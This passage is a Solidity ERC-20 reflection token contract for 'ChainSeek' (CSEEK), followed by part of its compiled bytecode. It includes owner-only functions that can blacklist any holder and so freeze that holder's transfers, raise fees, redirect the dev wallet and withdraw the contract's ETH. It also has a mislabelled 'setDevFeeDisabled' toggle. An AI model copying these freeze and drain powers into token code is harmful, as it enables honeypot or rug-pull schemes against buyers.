uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementarion
contract CSEEK is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'ChainSeek';
string private _symbol = 'CSEEK';
uint8 private _decimals = 9;
// Tax and dev fees will start at 0 so we don't have a big impact when deploying to Uniswap
// dev wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 0;
uint256 private _devFee = 0;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousdevFee = _devFee;
address payable public _devWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = false;
uint256 private _maxTxAmount = 100000000000000e9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeFordev = 5 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable devWalletAddress) public {
_devWalletAddress = devWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setDevFeeDisabled(bool _devFeeEnabled ) public returns (bool){
require(msg.sender == _devWalletAddress, "Only Dev Address can disable dev fee");
swapEnabled = _devFeeEnabled;
return(swapEnabled);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _devFee == 0) return;
_previousTaxFee = _taxFee;
_previousdevFee = _devFee;
_taxFee = 0;
_devFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_devFee = _previousdevFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[sender], "You have no power here!");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular dev event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeFordev;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the dev wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHTodev(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and dev fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHTodev(uint256 amount) private {
_devWalletAddress.transfer(amount);
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHTodev(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takedev(uint256 tdev) private {
uint256 currentRate = _getRate();
uint256 rdev = tdev.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rdev);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tdev);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getTValues(tAmount, _taxFee, _devFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tdev);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 devFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tdev = tAmount.mul(devFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tdev);
return (tTransferAmount, tFee, tdev);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setdevFee(uint256 devFee) external onlyOwner() {
require(devFee >= 1 && devFee <= 10, 'devFee should be in 1 - 10');
_devFee = devFee;
}
function _setdevWallet(address payable devWalletAddress) external onlyOwner() {
_devWalletAddress = devWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 200000000000e9 , 'maxTxAmount should be greater than 200000000000e9');
_maxTxAmount = maxTxAmount;
}
} | 0x6080604052600436106102295760003560e01c806370a0823111610123578063af9549e0116100ab578063f2cc0c181161006f578063f2cc0c1814610cbb578063f2fde38b14610d0c578063f429389014610d5d578063f815a84214610d74578063f84354f114610d9f57610230565b8063af9549e014610af4578063b425bac314610b51578063cba0e99614610b92578063dd62ed3e14610bf9578063e01af92c14610c7e57610230565b806395d89b41116100f257806395d89b41146108de578063a0c072d41461096e578063a457c2d7146109bf578063a9059cbb14610a30578063aae1157114610aa157610230565b806370a08231146107d0578063715018a6146108355780637ded4d6a1461084c5780638da5cb5b1461089d57610230565b806339509351116101b157806349bd5a5e1161017557806349bd5a5e146106a957806351bc3c85146106ea5780635342acb4146107015780635880b873146107685780636ddd1713146107a357610230565b806339509351146105165780633bd5d173146105875780634303443d146105c257806344c260c8146106135780634549b0391461064e57610230565b806318160ddd116101f857806318160ddd146103a25780631bbae6e0146103cd57806323b872dd146104085780632d83811914610499578063313ce567146104e857610230565b806306fdde0314610235578063095ea7b3146102c557806313114a9d146103365780631694505e1461036157610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a610df0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028a57808201518184015260208101905061026f565b50505050905090810190601f1680156102b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d157600080fd5b5061031e600480360360408110156102e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e92565b60405180821515815260200191505060405180910390f35b34801561034257600080fd5b5061034b610eb0565b6040518082815260200191505060405180910390f35b34801561036d57600080fd5b50610376610eba565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ae57600080fd5b506103b7610ede565b6040518082815260200191505060405180910390f35b3480156103d957600080fd5b50610406600480360360208110156103f057600080fd5b8101908080359060200190929190505050610ee8565b005b34801561041457600080fd5b506104816004803603606081101561042b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061101c565b60405180821515815260200191505060405180910390f35b3480156104a557600080fd5b506104d2600480360360208110156104bc57600080fd5b81019080803590602001909291905050506110f5565b6040518082815260200191505060405180910390f35b3480156104f457600080fd5b506104fd611179565b604051808260ff16815260200191505060405180910390f35b34801561052257600080fd5b5061056f6004803603604081101561053957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611190565b60405180821515815260200191505060405180910390f35b34801561059357600080fd5b506105c0600480360360208110156105aa57600080fd5b8101908080359060200190929190505050611243565b005b3480156105ce57600080fd5b50610611600480360360208110156105e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d4565b005b34801561061f57600080fd5b5061064c6004803603602081101561063657600080fd5b81019080803590602001909291905050506116b3565b005b34801561065a57600080fd5b506106936004803603604081101561067157600080fd5b8101908080359060200190929190803515159060200190929190505050611809565b6040518082815260200191505060405180910390f35b3480156106b557600080fd5b506106be6118c0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f657600080fd5b506106ff6118e4565b005b34801561070d57600080fd5b506107506004803603602081101561072457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c5565b60405180821515815260200191505060405180910390f35b34801561077457600080fd5b506107a16004803603602081101561078b57600080fd5b8101908080359060200190929190505050611a1b565b005b3480156107af57600080fd5b506107b8611b71565b60405180821515815260200191505060405180910390f35b3480156107dc57600080fd5b5061081f600480360360208110156107f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b84565b6040518082815260200191505060405180910390f35b34801561084157600080fd5b5061084a611c6f565b005b34801561085857600080fd5b5061089b6004803603602081101561086f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611df5565b005b3480156108a957600080fd5b506108b261213a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108ea57600080fd5b506108f3612163565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610933578082015181840152602081019050610918565b50505050905090810190601f1680156109605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097a57600080fd5b506109bd6004803603602081101561099157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612205565b005b3480156109cb57600080fd5b50610a18600480360360408110156109e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612311565b60405180821515815260200191505060405180910390f35b348015610a3c57600080fd5b50610a8960048036036040811015610a5357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123de565b60405180821515815260200191505060405180910390f35b348015610aad57600080fd5b50610adc60048036036020811015610ac457600080fd5b810190808035151590602001909291905050506123fc565b60405180821515815260200191505060405180910390f35b348015610b0057600080fd5b50610b4f60048036036040811015610b1757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506124d5565b005b348015610b5d57600080fd5b50610b666125f8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b9e57600080fd5b50610be160048036036020811015610bb557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061261e565b60405180821515815260200191505060405180910390f35b348015610c0557600080fd5b50610c6860048036036040811015610c1c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612674565b6040518082815260200191505060405180910390f35b348015610c8a57600080fd5b50610cb960048036036020811015610ca157600080fd5b810190808035151590602001909291905050506126fb565b005b348015610cc757600080fd5b50610d0a60048036036020811015610cde57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127e0565b005b348015610d1857600080fd5b50610d5b60048036036020811015610d2f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b93565b005b348015610d6957600080fd5b50610d72612d9e565b005b348015610d8057600080fd5b50610d89612e77565b6040518082815260200191505060405180910390f35b348015610dab57600080fd5b50610dee60048036036020811015610dc257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e7f565b005b6060600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e885780601f10610e5d57610100808354040283529160200191610e88565b820191906000526020600020905b815481529060010190602001808311610e6b57829003601f168201915b5050505050905090565b6000610ea6610e9f613209565b8484613211565b6001905092915050565b6000600c54905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600a54905090565b610ef0613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b680ad78ebc5ac6200000811015611012576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806155346031913960400191505060405180910390fd5b8060158190555050565b6000611029848484613408565b6110ea84611035613209565b6110e58560405180606001604052806028815260200161547660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061109b613209565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a1f9092919063ffffffff16565b613211565b600190509392505050565b6000600b54821115611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806153bb602a913960400191505060405180910390fd5b600061115c613adf565b90506111718184613b0a90919063ffffffff16565b915050919050565b6000600f60009054906101000a900460ff16905090565b600061123961119d613209565b8461123485600460006111ae613209565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5490919063ffffffff16565b613211565b6001905092915050565b600061124d613209565b9050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180615587602c913960400191505060405180910390fd5b60006112fd83613bdc565b5050505050905061135681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c4390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ae81600b54613c4390919063ffffffff16565b600b819055506113c983600c54613b5490919063ffffffff16565b600c81905550505050565b6113dc613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461149c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611535576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806154c76024913960400191505060405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4163636f756e7420697320616c726561647920626c61636b6c6973746564000081525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6116bb613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461177b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001811015801561178d5750600a8111155b6117ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f6465764665652073686f756c6420626520696e2031202d20313000000000000081525060200191505060405180910390fd5b8060118190555050565b6000600a54831115611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b816118a357600061189384613bdc565b50505050509050809150506118ba565b60006118ae84613bdc565b50505050915050809150505b92915050565b7f00000000000000000000000032bc0ed0cbae3a31b3d9502a17f59f17f66255ae81565b6118ec613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006119b730611b84565b90506119c281613c8d565b50565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611a23613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ae3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015611af55750600a8111155b611b67576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20313000000000000081525060200191505060405180910390fd5b8060108190555050565b601460159054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c1f57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611c6a565b611c67600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110f5565b90505b919050565b611c77613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611dfd613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ebd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f7c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4163636f756e74206973206e6f7420626c61636b6c697374656400000000000081525060200191505060405180910390fd5b60005b600980549050811015612136578173ffffffffffffffffffffffffffffffffffffffff1660098281548110611fb057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156121295760096001600980549050038154811061200c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009828154811061204457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060098054806120ef57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055612136565b8080600101915050611f7f565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121fb5780601f106121d0576101008083540402835291602001916121fb565b820191906000526020600020905b8154815290600101906020018083116121de57829003601f168201915b5050505050905090565b61220d613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f77